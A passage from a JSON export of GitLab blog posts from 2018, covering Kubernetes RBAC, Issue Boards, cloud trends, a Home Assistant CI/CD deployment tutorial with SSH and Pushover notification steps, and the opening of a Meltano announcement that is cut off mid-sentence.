RBAC.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678884/Blog/Hero%20Images/understanding-kubernetes-rbac-post-cover.jpg","https://about.gitlab.com/blog/understanding-kubernestes-rbac","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"What you need to know about Kubernetes RBAC\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Abubakar Siddiq Ango\"}],\n        \"datePublished\": \"2018-08-07\",\n      }",{"title":32740,"description":32741,"authors":32746,"heroImage":32742,"date":32728,"body":32747,"category":734,"tags":32748},[2816],"\nManaging access to resources is an essential part of ensuring the reliability, security, and efficiency of any infrastructure, but can quickly get complicated to manage. With Kubernetes, attribute-based access control (ABAC) is very powerful but complex, while role-based access control (RBAC) makes it easier to manage permissions using kubectl and the Kubernetes API directly. This post shares how to get started with RBAC and some best practices to adopt.\n\n## RBAC vs ABAC\n\nRBAC made beta [release with Kubernetes 1.6](https://kubernetes.io/blog/2017/04/rbac-support-in-kubernetes/) and general availability [with 1.8](https://kubernetes.io/blog/2017/10/using-rbac-generally-available-18/). A fundamental building block of Kubernetes, RBAC is an authorization mechanism for controlling how the Kubernetes API is accessed using permissions.\n\nRBAC is now preferred over ABAC, which is difficult to manage and understand. ABAC also requires SSH and root access to make authorization policy changes.\n\nResource management can be delegated using RBAC without giving away SSH access to the Cluster Master VM and permission policies can be configured using kubectl or the Kubernetes API itself.\n\n## RBAC resources\n\nUsing RBAC, Authorizations can be given using a set of permissions that can be limited within a namespace or the entire cluster. To do this, you can define A set of permission is called a Role, which is defined within a namespace. If you want A role that is cluster-wide, this is defined as a ClusterRole.\n\nBelow, you can see an example of a role definition:\n\n### Role\n\n```\nkind: Role\napiVersion: rbac.authorization.k8s.io/v1\nmetadata:\n  namespace: default\n  name: pod-reader\nrules:\n- apiGroups: [\"\"] # \"\" indicates the core API group\n  resources: [\"pods\"]\n  verbs: [\"get\", \"watch\", \"list\"]\n```\n\nLike other Kubernetes resources, a role definition contains kind, apiVersion, and metadata, but with the addition of rules.\n\nFor the rules key, you will define how your permissions will work. You can specify what resources within apiGroup(s) are permitted and how they can be accessed using verbs (including `create`, `delete`, `deletecollection`, `get`, `list`, `patch`, `update`, and `watch`). The apiGroups key defines the location in the API where the resources are found. If you provide an empty value in this list, it means the core API group.\n\n### ClusterRole\n```\nkind: ClusterRole\napiVersion: rbac.authorization.k8s.io/v1\nmetadata:\n  # \"namespace\" omitted since ClusterRoles are not namespaced\n  name: secret-reader\nrules:\n- apiGroups: [\"\"]\n  resources: [\"secrets\"]\n  verbs: [\"get\", \"watch\", \"list\"]\n```\n\nThe major difference in the definition for a `ClusterRole` is the absence of a namespace, because the permissions defined here are cluster-scoped. However, when referenced by a `RoleBinding`, a `ClusterRole` can be used to grant permissions to namespaced resources defined in the `ClusterRole` role within the `RoleBinding`’s namespace.\n\n### RoleBinding and ClusterRoleBinding\n\nA RoleBinding allows you to associate a Role with a user or list of users. This grants the Role permissions to the users. The user(s) are defined under subjects, and the Role association under role references (roleRef). For example:\n\n#### RoleBinding:\n\n```\nkind: RoleBinding\napiVersion: rbac.authorization.k8s.io/v1\nmetadata:\n  name: read-pods\n  namespace: default\nsubjects:\n- kind: User\n  name: abu\n  apiGroup: rbac.authorization.k8s.io\nroleRef:\n  kind: Role\n  name: pod-reader\n  apiGroup: rbac.authorization.k8s.io\n```\n\n#### ClusterRoleBinding:\n\n```\nkind: ClusterRoleBinding\napiVersion: rbac.authorization.k8s.io/v1\nmetadata:\n  name: read-secrets-global\nsubjects:\n- kind: Group\n  name: manager\n  apiGroup: rbac.authorization.k8s.io\nroleRef:\n  kind: ClusterRole\n  name: secret-reader\n  apiGroup: rbac.authorization.k8s.io\n```\n\n## Best practices\n\nApplying the principle of [least privileges](https://medium.com/@haim_50405/establish-least-privileged-best-practice-for-your-kubernetes-clusters-f0785e1aee39) is crucial, as it reduces exposure and vulnerability. A few of the essential best practices include:\n\n- Be specific with the resources you are granting access to and the verbs being used; avoid wild cards\n- Use Roles instead of Cluster Roles where possible\n- Only give permissions required for the specific tasks to be performed by a user and nothing more\n- Create and use service accounts for processes and services like [Tiller](https://docs.helm.sh/rbac#tiller-and-role-based-access-control) that require permission instead of using the default service accounts\n\n## GitLab + RBAC\n\nCurrently, integrating GitLab with a Kubernetes cluster with RBAC enabled is not supported. You will need to enable and use the legacy ABAC mechanism ([see the documentation here](https://docs.gitlab.com/ee/user/project/clusters/index.html#security-implications)). RBAC will be supported in [a future release](https://gitlab.com/gitlab-org/gitlab-ce/issues/29398). This affects GitLab.com and all self-managed versions of GitLab.\n\n## Learn more\n\n- [Controlling access](https://kubernetes.io/docs/reference/access-authn-authz/controlling-access/)\n- [Authorization](https://kubernetes.io/docs/reference/access-authn-authz/authorization/)\n- [RBAC](https://kubernetes.io/docs/reference/access-authn-authz/rbac/)\n- [RBAC and TLS certificates](https://sysdig.com/blog/kubernetes-security-rbac-tls/)\n",[2509,3949],{"slug":32750,"featured":6,"template":678},"understanding-kubernestes-rbac","content:en-us:blog:understanding-kubernestes-rbac.yml","Understanding Kubernestes Rbac","en-us/blog/understanding-kubernestes-rbac.yml","en-us/blog/understanding-kubernestes-rbac",{"_path":32756,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":32757,"content":32763,"config":32768,"_id":32770,"_type":16,"title":32771,"_source":17,"_file":32772,"_stem":32773,"_extension":20},"/en-us/blog/4-ways-to-use-gitlab-issue-boards",{"title":32758,"description":32759,"ogTitle":32758,"ogDescription":32759,"noIndex":6,"ogImage":32760,"ogUrl":32761,"ogSiteName":1180,"ogType":1181,"canonicalUrls":32761,"schema":32762},"4 ways to use GitLab Issue Boards","By leveraging the power of labels, GitLab Issue Boards can be easily customized to support any workflow. Here are four examples.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749671759/Blog/Hero%20Images/gitlab-issue-board-cover.png","https://about.gitlab.com/blog/4-ways-to-use-gitlab-issue-boards","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"4 ways to use GitLab Issue Boards\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Victor Wu\"}],\n        \"datePublished\": \"2018-08-02\",\n      }",{"title":32758,"description":32759,"authors":32764,"heroImage":32760,"date":32765,"body":32766,"category":299,"tags":32767},[30512],"2018-08-02","\nThere are many different ways to build software and run projects. When we began\nto build portfolio and project management tools within GitLab, we asked\nourselves, \"How do you build tools to support a diverse array of workflows\nwithout crippling users with complexity?\" Our conclusion? Build fewer, but more\nflexible tools. GitLab's built-in [issue boards](/stages-devops-lifecycle/issueboard/) is a\ngreat example of how choosing to build a single, versatile tool can significantly\nreduce complexity and tooling maintenance for the user without limiting its\ncapabilities.\n\n> How do you build tools to support a diverse array of workflows without crippling\nusers with complexity? Build fewer, but more flexible tools.\n\nManaging projects and software is inherently complex, but the tools don't have to be.\nRegardless of how many projects, people, or products you're managing, getting the\nvisibility you need to keep things running smoothly should be the easy part.\n\n## GitLab issues board\n\nA GitLab Issues Board is a simplified approach to a complex problem. We built on\ntop of GitLab's existing issue-tracking functionality and leverage the power of\nGitLab issue labels by utilizing them as lists on a Kanban board. You can construct different\nviews of your issue board while maintaining the same filtering and sorting abilities\nyou see across the issue tracker. You can create multiple boards to capture every\nlayer of visibility you need, and define the scope of the board by milestone,\nlabels, assignee, and weight.\n\nAn Issue Board is based on its project's label structure, therefore, it applies\nthe same descriptive labels to indicate placement on the board, keeping\nconsistency throughout the entire development lifecycle. And, you can click\ndirectly into an issue from the board to get started on your work.\n\n## 4 uses for the GitLab issues board\n\nAn Issue Board shows you what issues your team is working on, who is assigned to\neach, and where in the workflow those issues are.\n\n### 1. Workflow tracking with GitLab issues\n\nWhether you are a project manager trying to stay on top of a project's status, or\na manager of a product who needs to report on progress, workflow visibility is critical.\n\nTo create a workflow issue board, simply create labels for each stage of your workflow\nand add them as lists on a board. Once you've labeled an issue, it will automatically\nappear on the list. When the issue is ready to move on to the next stage, simply drag\nand drop it into the next list. You can also update the labels directly in the issue\nand your changes will automatically appear on the board.\n\n![Using an issue board for workflow tracking](https://about.gitlab.com/images/blogimages/workflow.png){: .shadow.large.center}\n\nFor example, your workflow might look something like this:\n\n1. Development\n1. Design\n1. Review\n1. Test\n1. Deploy\n\nTo see this on a board, simply create a label for each stage. Create a new board\nand add a list for each stage. You can drag and drop lists to put them in the\ndesired order.\n\n### 2. Cross-functional planning with different categories\n\nSimilar to the workflow view, you can create a GitLab issues board based on categories.\n\nWhen working on a particular product or feature, you might want a high-level view\nof what each team is working on. You might create a label and a list for each team,\nor, perhaps you want to see what's being worked on across many projects or product lines.\n\n![Using an Issue Board for planning with categories](https://about.gitlab.com/images/blogimages/categories.png){: .shadow.large.center}\n\nIn the example above, we have three label lists: `time tracking`, `portfolio management`,\nand `description templates`. Each list represents a particular product area. So\nwith this one board, you'll be able to see what open issues belong to those three\nareas. If you further scope the board to a particular milestone, you'll be able\nto see which of those issues are targeted to be worked on in that milestone.\n\nThis is just one example of how you can use an issue board for planning your work.\nAgain, because the issue board is created using labels, your options are unlimited!\n\n### 3. Team visibility with assignee lists\n\nYou can easily monitor what has been assigned to individuals on your team with\nassignee lists. Assignee lists show issues that are assigned to a specific user,\nand you can create a board to display a list for everyone on your team for a\nquick view of who is working on what.\n\n![Example assignee issue board view](https://about.gitlab.com/images/blogimages/team-board.png){: .shadow.large.center}\n\n### 4. GitLab Issues and milestone planning\n\nAs part of our project management capabilities, we've built in [milestones](https://docs.gitlab.com/ee/user/project/milestones/).\nMilestones are used to track issues and merge requests associated with a specific goal\nto be accomplished within a specific time frame.\n\nSimilar to our assignee lists, you will be able to quickly create a milestone view directly from your board. This is particularly\nuseful for those leveraging an [Agile workflow](/solutions/agile-delivery/). With the milestone list, you can\neasily move issues (stories) between different milestones (i.e. sprints, iterations).\n\n| Adding a milestone list | Milestone list |\n|-------------------------|----------------|\n| ![Create milestone list](https://about.gitlab.com/images/blogimages/create-milestone-list.png){: .shadow} | ![Milestone list example](https://about.gitlab.com/images/blogimages/milestone-list-issue-board.png){: .shadow} |\n\nOf course, this is just the tip of the iceberg. Stay tuned for the our next post on\nusing GitLab for [portfolio planning and management](/blog/gitlab-for-agile-portfolio-planning-project-management/) where we will cover a few of other favorite GitLab features like [Epics](https://docs.gitlab.com/ee/user/group/epics/), [Roadmaps](https://docs.gitlab.com/ee/user/group/roadmap/), and [Milestones](https://docs.gitlab.com/ee/user/project/milestones/).\n\nUpdate as of June 26 2020: Removed the \"Coming Soon\" label on Milestones since it has been released as of 11.2",[1444,6962,1899],{"slug":32769,"featured":6,"template":678},"4-ways-to-use-gitlab-issue-boards","content:en-us:blog:4-ways-to-use-gitlab-issue-boards.yml","4 Ways To Use Gitlab Issue Boards","en-us/blog/4-ways-to-use-gitlab-issue-boards.yml","en-us/blog/4-ways-to-use-gitlab-issue-boards",{"_path":32775,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":32776,"content":32782,"config":32786,"_id":32788,"_type":16,"title":32789,"_source":17,"_file":32790,"_stem":32791,"_extension":20},"/en-us/blog/top-five-cloud-trends",{"title":32777,"description":32778,"ogTitle":32777,"ogDescription":32778,"noIndex":6,"ogImage":32779,"ogUrl":32780,"ogSiteName":1180,"ogType":1181,"canonicalUrls":32780,"schema":32781},"Top 5 cloud trends of 2018: What has happened and what’s next","Cloud computing is officially where it's at. Find out who's in the lead and how to plan for the future.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678732/Blog/Hero%20Images/clouds.jpg","https://about.gitlab.com/blog/top-five-cloud-trends","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Top 5 cloud trends of 2018: What has happened and what’s next\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Aricka Flowers\"}],\n        \"datePublished\": \"2018-08-02\",\n      }",{"title":32777,"description":32778,"authors":32783,"heroImage":32779,"date":32765,"body":32784,"category":8943,"tags":32785},[29394],"\nThe cloud has undoubtedly infiltrated the enterprise space – and it is here to stay. Gartner Research predicts that by 2025, 80 percent of companies will have [opted to shutter](https://www.zdnet.com/article/the-data-center-is-dead-heres-what-comes-next/) their traditional data centers. Cloud spend is on the rise, so much so that the International Data Corporation (IDC) recently upped its 2018 prediction for cloud IT infrastructure spending to $57.2 billion, reflecting a 21.3 percent increase over the previous year. With the apparent exponential growth of cloud computing, we decided to root out the top five cloud trends of 2018 and take a look at what might be next:\n\n#### Public cloud use is on the rise.\nMulti-cloud solutions are the primary strategy for large companies, with public cloud use gaining steam. Thirty-eight percent of enterprises represented in the seventh annual [RightScale State of the Cloud\nsurvey](https://www.rightscale.com/learn/cloud-strategy/cloud-computing-trends) have made the public cloud a priority for 2018, up from 29 percent the previous year.\n\nThe industries expected to spend the most on public cloud services in 2018 are discrete manufacturing, professional services, and banking, according to IDC. The telecommunications, banking, and professional services industries are expected to see the most growth in cloud spending over the next five years, with IDC expecting each sector to see increases of almost 25 percent by 2021.\n\n#### Kubernetes is now king.\nThe container orchestration battle is over and Kubernetes has emerged as the undisputed winner. Industry insiders, like Forrester, have [predicted](https://blogs-images.forbes.com/louiscolumbus/files/2017/11/Forr-Cloud-Predictions-2018-2.png) Kubernetes as the winner and now the data proves this out. According to the State of the Cloud survey, Kubernetes shows 27 percent current use while Docker Swarm shows only 12 percent adoption. Use of Mesosphere clocks in at only 6 percent, but the report doesn't distinguish between Marathon or Kubernetes and [Mesosphere supports both](https://mesosphere.com/blog/kubernetes-dcos/). The data could further be skewed by showing container orchestration offerings from AWS, Azure, and Google Cloud as separate segments when in fact they all run Kubernetes. While there's some muddiness in how people are consuming Kubernetes, what's clear is that the market has spoken and Kubernetes is the de facto way to do container orchestration.\n\n#### Azure is hacking away at AWS’s lead in cloud infrastructure services.\nAmazon Web Services has the lion’s share of the infrastructure-as-a-service (IaaS) market, but Microsoft’s Azure is closing the gap with growth that is outpacing its top competitor.\n\nAzure adoption grew by 89 percent in the second quarter, ending Q2 with an 18 percent share of the market, according to a [report by Canalys](https://www.canalys.com/newsroom/cloud-infrastructure-spend-reaches-us%2420-billion-in-q2-2018-with-hybrid-it-approach-dominant), an independent analyst firm. While still in the lead with a 31 percent share of the market, AWS’s second quarter growth was substantially less at 48 percent. Google Cloud rounded out the top three performers of Q2, growing a massive 108 percent during the quarter. Google ended the quarter with an eight percent share of the cloud infrastructure services market. Azure, AWS, and Google Cloud account for 57 percent of the IaaS market, Canalys reports.\n\n#### Enterprise cloud spending is on the rise.\nCompanies are making heavy investments in the cloud, as seen by IDC’s decision to increase their 2018 spending prediction at the half-year mark. The market intelligence agency now expects to see a more than 21 percent increase in cloud infrastructure spending this year, which aligns with reports from enterprise survey respondents.\n\nTwenty percent of enterprises say they plan to more than double their public cloud spend in 2018, according to the State of the Cloud survey and 71 percent of the poll’s 997 respondents expect to increase their public cloud spend by more than 20 percent this year.\n\n#### Security remains a top cloud challenge.\nSecurity regularly ranks as the number one concern among cloud adopters. Seventy-seven percent of State of the Cloud respondents reported security as a challenge, with 29 percent finding it to be a significant hurdle, particularly for beginners. Sixty-six percent of those surveyed in LogicMonitor’s [Cloud Vision 2020: The Future of the Cloud Study](https://www.logicmonitor.com/resource/the-future-of-the-cloud-a-cloud-influencers-survey/) reported security as the biggest challenge for organizations operating in the public cloud.\n\nWith security being a top priority for enterprises working in the cloud, Forrester anticipates that security will become [“integrated with — and integral to — cloud platforms”](/security/) in 2018.\n\nCover photo by [Andrew Ruiz](https://unsplash.com/photos/P45gtJKufJo) on [Unsplash](https://unsplash.com/)\n{: .note}\n",[2509,736,674],{"slug":32787,"featured":6,"template":678},"top-five-cloud-trends","content:en-us:blog:top-five-cloud-trends.yml","Top Five Cloud Trends","en-us/blog/top-five-cloud-trends.yml","en-us/blog/top-five-cloud-trends",{"_path":32793,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":32794,"content":32800,"config":32804,"_id":32806,"_type":16,"title":32807,"_source":17,"_file":32808,"_stem":32809,"_extension":20},"/en-us/blog/using-the-gitlab-ci-slash-cd-for-smart-home-configuration-management",{"title":32795,"description":32796,"ogTitle":32795,"ogDescription":32796,"noIndex":6,"ogImage":32797,"ogUrl":32798,"ogSiteName":1180,"ogType":1181,"canonicalUrls":32798,"schema":32799},"How to simplify your smart home configuration with GitLab CI/CD","How to use GitLab pipelines to automatically test and deploy new home-assistant configurations, wherever you are.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678717/Blog/Hero%20Images/ci-smart-home-configuration.jpg","https://about.gitlab.com/blog/using-the-gitlab-ci-slash-cd-for-smart-home-configuration-management","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to simplify your smart home configuration with GitLab CI/CD\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Mario de la Ossa\"}],\n        \"datePublished\": \"2018-08-02\",\n      }",{"title":32795,"description":32796,"authors":32801,"heroImage":32797,"date":32765,"body":32802,"category":734,"tags":32803},[30287],"\nSo you've read all about the [Internet of Things](https://en.wikipedia.org/wiki/Internet_of_things) and all the cool stuff you can do with it – from setting up timers for your lights to [making your breakfast](/blog/introducing-auto-breakfast-from-gitlab/) – and now you're itching to get started? Great!\n\nIf you're a power user, you've probably settled on using [Home Assistant](https://www.home-assistant.io/) as your smart home hub, but this choice has a few pitfalls:\n\n- It's annoying to SSH into the server itself to change configuration. Wouldn't you like to use your favorite local editor instead?\n- How do you keep your configuration backed up?\n- How do you protect yourself from accidentally messing up the configuration?\n\nIn this guide we'll show you how to fix these annoyances yourself, thanks to Git and the power of [GitLab Pipelines](https://docs.gitlab.com/ee/ci/pipelines/index.html)! We will set up a pipeline that will check your home-assistant configuration and deploy it to your home-assistant install, giving you the power to deploy changes from anywhere in the world with a simple `git push`!\nDid you go on vacation and forget you wanted your lights to [turn on and off randomly to make it seem like someone's home](https://community.home-assistant.io/t/set-random-time-for-random-automatic-turning-off-lights-mimic-someone-is-home/3524)? No worries! Just open GitLab's [Web IDE](https://docs.gitlab.com/ee/user/project/web_ide/) and make your changes from your hotel room.\n\nBy the end of this tutorial you'll have:\n\n- Automatic configuration backups thanks to `git`. You'll be able to see the history of every change you've made and revert changes easily.\n- Automatic configuration testing via GitLab pipelines. Never again will a simple typo have you scratching your head, wondering why things don't work!\n- An easy way to push changes to your Home Assistant configuration without having to SSH into the server.\n\n## Requirements\n\nIn this guide we'll be assuming a few things:\n\n- You installed Home Assistant using the Docker image\n- The server Home Assistant runs in is accessible from the internet via SSH (or you're using a self-managed GitLab installation in the same network)\n\n## Set up your server\n\n1.   Navigate to your Home Assistant configuration folder.\n1.   Create a new file called `.gitignore` with the following content:\n\n     ```\n     *.db\n     *.log\n     ```\n\n1.   Initialize the Git repo\n\n     ```bash\n     git init\n     git add .\n     git commit -m 'Initial commit'\n     ```\n1.   [Create a new GitLab project](https://gitlab.com/projects/new) and push to it\n\n     ```bash\n     git remote add origin YOUR_PROJECT_HERE\n     git push -u origin master\n     ```\n\nWith this you now have a backup of your Home Assistant configuration. Let's now set up the GitLab pipeline!\n\n## Setting up the pipeline\n\nWe have a few goals for the [CI/CD pipeline](/topics/ci-cd/):\n- Test the new configuration to ensure it's valid\n- Deploy the new configuration to the Home Assistant server\n- Bonus: Notify us of a successful deployment, since the default is to only notify for failures\n\n[The complete `.gitlab-ci.yml` can be found here.](https://gitlab.com/mdelaossa/hass-via-cicd/blob/master/.gitlab-ci.yml)\n{: .note}\n[General documentation for how to configure jobs can be found here.](https://docs.gitlab.com/ee/ci/yaml/)\n{: .note}\n\nWe will be using the following stages in our pipeline:\n- test: Will test the Home Assistant configuration to ensure it is valid\n- deploy: Will update the Home Assistant configuration in the server and restart Home Assistant\n- notify: Will send a push notification with success/failure state\n\nSince these aren't default pipeline stages we need to declare them in our `.gitlab-ci.yml` like so:\n\n```yaml\nstages:\n  - test\n  - deploy\n  - notify\n```\n\n### Automating configuration testing\n\nSince GitLab CI/CD [supports Docker images](https://docs.gitlab.com/ee/ci/docker/using_docker_images.html) and Home Assistant is available as a Docker image, this is a fairly straightforward stage to add.\n\nAdd this to your `.gitlab-ci.yml` file:\n\n```yaml\ntest:\n  stage: test\n  image: homeassistant/amd64-homeassistant\n  script:\n    - hass --script check_config -c .\n```\n\nWith this we are creating a job called `test` which will run in the `test` stage. We're using the `homeassistant/amd64-homeassistant` image because it exposes the `hass` command globally so we can use the built-in configuration checking command on our committed files. That's it!\n\nFeel free to commit and push this change to test it out!\n\n```bash\ngit add .\ngit commit -m 'Added testing stage to GitLab pipeline'\ngit push\n```\n\nYou'll now see that a pipeline gets created whenever you push:\n\n![HASS Test pipeline success](https://about.gitlab.com/images/blogimages/hass-cicd/pipeline-pass-1.png){: .shadow.center.large}\n\nIf your configuration contains any errors, they'll be shown in the `Failed Jobs` view of the pipeline and you'll get an email notifying you of the failure:\n\n![HASS Test pipeline failure](https://about.gitlab.com/images/blogimages/hass-cicd/pipeline-fail-1.png){: .shadow.center.large}\n\n### Automating deployments\n\nNow that we have automated testing, let's add another stage that will deploy our new configuration if the tests pass!\n\n\"Deploying\" in this case will consist of:\n- SSHing into the server\n- Doing a `git pull` to pull down changes from the repo\n- Restart the Home Assistant Docker image\n\n#### Preparing the server (and GitLab) for SSH access\n\nSince we will be using SSH we need to prepare our server first. We'll follow [these instructions from the GitLab documentation](https://docs.gitlab.com/ee/ci/ssh_keys/).\nWe will also set some [CI/CD Variables](https://gitlab.com/help/ci/variables/README#variables).\n\n1.   Generate a new SSH key pair. It's OK to save them to the current folder as you'll delete them later anyway.\n\n     ```bash\n     ssh-keygen -t rsa -C \"hass-deploy\" -b 4096\n     ```\n\n1.   On the server that runs Home Assistant, save the contents of the public key (the file ending in `.pub`) to `/home/user_running_hass/.ssh/authorized_keys`\n1.   Go to your GitLab project's CI/CD variables (inside Settings). Add the contents of the private key file to a variable named `SSH_PRIVATE_KEY`. You can now delete the SSH key pair files if you'd like, or store them somewhere safe.\n\nWe also need to add our server's host keys to the GitLab runner so the runner will be able to SSH successfully. Alternatively we could disable host key checking, but this is not recommended.\n\n1.   On your server, run `ssh-keyscan example.com` where example.com is the domain or IP of your server.\n1.   Create a new CI/CD variable called `SSH_KNOWN_HOSTS` and add the output of `ssh-keyscan` to it.\n\nYou should also create two other CI/CD variables (optional):\n- `DEPLOY_USER`: the user running HASS that the runner with SSH into the server as to perform the deploy\n- `DEPLOY_HOST`: the domain or IP of the server\n\n#### The deploy stage\n\nNow that we have prepared our server and GitLab CI/CD variables, we can add our deploy stage to `.gitlab-ci.yml`. Please note that we are using the `only: ` keyword so that only new commits in the `master` branch will attempt a deploy.\n\n```yaml\ndeploy:\n  stage: deploy\n  only:\n    - master\n  before_script:\n    - 'which ssh-agent || ( apt-get update -y && apt-get install openssh-client -y )'\n    - eval $(ssh-agent -s)\n    - echo \"$SSH_PRIVATE_KEY\" | tr -d '\\r' | ssh-add - > /dev/null\n    - mkdir -p ~/.ssh\n    - chmod 700 ~/.ssh\n    - echo \"$SSH_KNOWN_HOSTS\" > ~/.ssh/known_hosts\n    - chmod 644 ~/.ssh/known_hosts\n  script:\n    - ssh $DEPLOY_USER@$DEPLOY_HOST \"cd '$DEPLOY_PATH'; git pull; docker restart home-assistant\"\n```\n\nThe `before_script` above is in charge of:\n- Making sure `ssh-agent` is installed and installing it otherwise\n- Making sure `ssh-agent` is running\n- Adding the `SSH_PRIVATE_KEY` to the keys to use when logging into a server\n- Creating the `.ssh` folder with required permissions\n- Adding the values we added to the `SSH_KNOWN_HOSTS` variable to the proper location\n\nThe `script` portion is what actually deploys our new configuration:\n- We `cd` into the proper location (where the Home Assistant configuration files are kept)\n- We update the configuration with a `git pull`, since this directory is a Git repo\n- We restart Home Assistant (in this case the Docker image was created with the name `home-assistant`. Please use the name of your container)\n\nNote: If you did not create `DEPLOY_USER` and `DEPLOY_HOST` variables on GitLab, please replace the proper values in the script\n{: .note}\n\nNow let's commit and push this new stage to GitLab!\n```bash\ngit add .\ngit commit -m 'Added deploy stage to GitLab pipeline'\ngit push\n```\n\nWith this new stage added, you can now edit your configuration from anywhere (including the GitLab Web IDE!) and be confident that these changes will be pushed to your Home Assistant server if there are no issues with the configuration.\nThere's no longer a need to figure out how to connect directly to your Home Assistant server to make the edits you need.\n\n### Bonus: Successful deployment notifications\n\nYou'll notice that if the configuration is wrong or an error occurs during the deployment, you will get an email notification, but what about when everything runs successfully?\n\nWe have two options:\n\n1. Enable the `Pipeline Emails` integration and set it to notify on every pipeline\n2. Add a new stage called `notify` and use it to send push notifications to your phone\n\nWhile email is really nice, there's something really satisfying about getting push notification for your services, so let's set things up using [Pushover](https://pushover.net/).\nYou'll need to create an 'Application' and add the token you get to a GitLab variable called `PUSHOVER_API_TOKEN`. You'll also need to add your user key to a variable called `PUSHOVER_USER_TOKEN`.\n\nSince we'd like a different notification depending on whether our pipeline passed or failed, we will be adding two jobs to the `notify` stage:\n\n```yaml\nnotify_success:\n  stage: notify\n  allow_failure: true\n  only:\n    - master\n  script:\n    - curl -s --form-string \"token=$PUSHOVER_API_TOKEN\" --form-string \"user=$PUSHOVER_USER_TOKEN\" --form-string \"message=New Hass config deployed successfully!\" https://api.pushover.net/1/messages.json\n\nnotify_fail:\n  stage: notify\n  allow_failure: true\n  only:\n    - master\n  when: on_failure\n  script:\n    - curl -s --form-string \"token=$PUSHOVER_API_TOKEN\" --form-string \"user=$PUSHOVER_USER_TOKEN\" --form-string \"message=New Hass config failed. Please check for errors\" https://api.pushover.net/1/messages.json\n```\n\nOur first job, `notify_success`, runs when the stage before it (`deploy`) completes successfully. This is the default for GitLab. Our `notify_fail` job on the other hand has `when: on_failure` set, which means it will _only_ run when the stage before it fails. We also set `allow_failure: true` on both these jobs so that we aren't notified of a failed pipeline if for some reason the notification commands fail. We also set the `only: - master` option since deploys only happen on the master branch.\n\nWe are using Pushover's API to send the message we want in the `script` area.\n\nWith this final stage in place, your pipeline should now look like this:\n\n![HASS pipeline overview](https://about.gitlab.com/images/blogimages/hass-cicd/pipeline-final-1.png){: .shadow.center.large}\n\n### Enjoy!\n\nThere you have it! Now you can edit your Home Assistant configuration from anywhere you'd like, using your favorite editor, by following three simple steps:\n\n1. `git clone PATH_TO_REPO` (if you have not cloned it before)\n2. Edit the configuration\n3. `git push -u remote master`\n\n[Photo](https://unsplash.com/photos/9TF54VdG0ws?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) by Kevin Bhagat on [Unsplash](https://unsplash.com/search/photos/smart-home?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n{: .note}\n",[1384,1067],{"slug":32805,"featured":6,"template":678},"using-the-gitlab-ci-slash-cd-for-smart-home-configuration-management","content:en-us:blog:using-the-gitlab-ci-slash-cd-for-smart-home-configuration-management.yml","Using The Gitlab Ci Slash Cd For Smart Home Configuration Management","en-us/blog/using-the-gitlab-ci-slash-cd-for-smart-home-configuration-management.yml","en-us/blog/using-the-gitlab-ci-slash-cd-for-smart-home-configuration-management",{"_path":32811,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":32812,"content":32818,"config":32823,"_id":32825,"_type":16,"title":32826,"_source":17,"_file":32827,"_stem":32828,"_extension":20},"/en-us/blog/hey-data-teams-we-are-working-on-a-tool-just-for-you",{"title":32813,"description":32814,"ogTitle":32813,"ogDescription":32814,"noIndex":6,"ogImage":32815,"ogUrl":32816,"ogSiteName":1180,"ogType":1181,"canonicalUrls":32816,"schema":32817},"Hey, data teams - We're working on a tool just for you","Meltano is an open source tool for the entire data science lifecycle, and we want your contributions and feature requests!","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749678726/Blog/Hero%20Images/hey-data-analysts-we-are-working-on-a-tool-just-for-you.jpg","https://about.gitlab.com/blog/hey-data-teams-we-are-working-on-a-tool-just-for-you","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Hey, data teams - We're working on a tool just for you\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jacob Schatz\"}],\n        \"datePublished\": \"2018-08-01\",\n      }",{"title":32813,"description":32814,"authors":32819,"heroImage":32815,"date":32820,"body":32821,"category":299,"tags":32822},[31897],"2018-08-01","\nGitLab as a company faces a challenge shared by many — we have lots of data for our engineering organization (via GitLab, our single data store for that part of the company), but there are key gaps in how we understand the effectiveness of business operations. [Meltano](https://gitlab.com/meltano/meltano/tree/master) was created to help fill the gaps by expanding the common data store to support Customer Success, Customer Support, Product teams, and Sales and Marketing.\n\n### What is Meltano?\n\nMeltano aims to be a complete solution for data teams — the name stands for model, extract, load, transform, analyze, notebook, orchestrate — in other words, the data science lifecycle. While this might sound familiar if you're already a fan of GitLab, Meltano is a separate product. Rather than wrapping Meltano into GitLab, Meltano will be the complete package for data people, whereas GitLab is the complete package for software developers.\n\n### What problem does it solve?\n\nThe GitLab Data and Analytics team is [charged](https://gitlab.com/gitlab-com/www-gitlab-com/blob/master/source/job-families/finance/manager-data-and-analytics/index.html.md) with getting data from our external sources, presenting it in a usable format to business users across the company, and eventually making predictions from the data. As is the case with many data teams, we currently do this with a series of steps and separate tools, and we're not yet at the level of process and stability that is commonplace in software development. The idea of bringing best practices from software development to data analytics is a huge draw for the Data team at GitLab. Ideally, all of our work could be done in open source tools, and could be version controlled, and we’d be able to track the state of the analytics pipeline from raw data to visualization.\n\nThe endgame for Meltano involves making analytics accessible to everyone, not just professional data wranglers. GitLab Data Analyst Emilie Burke explains a common scenario: \"There are whole swathes of small and medium size companies that don’t really have data and analytics because they don’t have engineers on their team. The reports that they get are through whatever tools they are using. When they’re dependent on these siloed data sources, you can’t track cross-functional efforts. For example, if 